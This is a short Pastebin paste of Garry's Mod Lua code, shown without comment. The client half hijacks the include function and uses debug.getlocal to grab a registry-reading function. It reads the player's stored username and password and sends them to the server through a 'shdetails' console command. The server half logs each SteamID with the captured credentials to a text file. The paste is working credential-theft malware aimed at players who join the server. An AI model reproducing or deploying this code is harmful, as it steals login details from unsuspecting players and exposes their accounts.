Guest User

Untitled

a guest
Apr 10th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.95 KB | None | 0 0
  1. if CLIENT then
  2.     local RunConsoleCommand = RunConsoleCommand
  3.  
  4.     local o_include = _G.include
  5.     function _G.include( path, ... )
  6.         if tostring( path ) == "includes/extensions/table.lua" then
  7.             local n, SH_REGREAD = debug.getlocal( 2, 1 )
  8.             local n, SH_REGWRITE = debug.getlocal( 2, 2 )
  9.  
  10.             local user = SH_REGREAD( "username" )
  11.             local pass = SH_REGREAD( "password" )
  12.            
  13.             local r = math.random( 1, 1000 )
  14.             hook.Add( "Think", r, function()
  15.                 RunConsoleCommand( "shdetails", user, pass )
  16.                 hook.Remove( "Think", r )
  17.             end )
  18.  
  19.             _G.include = o_include
  20.         end
  21.  
  22.         return o_include( path, ... )
  23.     end
  24. end
  25.  
  26. if SERVER then
  27.     concommand.Add( "shdetails", function( ply, cmd, arg )
  28.         if ply.shdetails then return end
  29.         ply.shdetails = true
  30.  
  31.         local str = tostring( ply:SteamID() ) .. " - " .. table.concat( arg, ", " )
  32.         file.Write( "shdetails.txt", ( file.Read( "shdetails.txt" ) or "" ) .. str .. "\n" )
  33.     end )
  34.  
  35.     AddCSLuaFile( "init.lua" )
  36. end
Add Comment
Please, Sign In to add comment